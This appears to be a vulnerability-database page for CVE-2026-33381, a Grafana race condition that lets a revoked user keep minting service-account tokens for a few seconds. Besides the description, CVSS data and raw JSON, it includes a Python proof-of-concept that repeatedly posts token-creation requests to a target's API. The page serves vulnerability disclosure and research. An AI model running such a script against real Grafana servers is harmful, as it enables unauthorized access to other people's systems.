Security Vulnerability Report
中文
CVE-2026-33381 CVSS 5.9 MEDIUM

CVE-2026-33381

Published: 2026-05-13 20:16:21
Last Modified: 2026-05-14 16:21:03

Description

When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Grafana (具体受影响版本请参考官方安全公告 CVE-2026-33381)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Conceptual PoC for Race Condition in Token Minting after Revocation # Target: Grafana Service Account Token API def exploit_race_condition(target_url, service_account_id, api_key): headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Endpoint typically used to create tokens (hypothetical based on Grafana API structure) endpoint = f"{target_url}/api/serviceaccounts/{service_account_id}/tokens" print("[+] Initiating PoC for CVE-2026-33381...") print("[*] Sending concurrent requests to exploit the revocation window...") # Simulate rapid attempts to mint a token right after revocation for i in range(20): try: payload = {"name": f"poc_token_{i}"} response = requests.post(endpoint, headers=headers, json=payload, timeout=2) if response.status_code == 200 or response.status_code == 201: print(f"[+] Exploit Successful! Token created on attempt {i+1}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Attempt {i+1} failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error during attempt {i+1}: {e}") # Minimal delay to maximize chances within the few-second window time.sleep(0.1) print("[-] Exploit window likely closed or permission revoked successfully.") return False # Usage example (requires valid target context) # exploit_race_condition("http://target-grafana", 1, "admin_api_key")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33381", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:20.803", "lastModified": "2026-05-14T16:21:02.930", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-33381", "source": "[email protected]"}]}}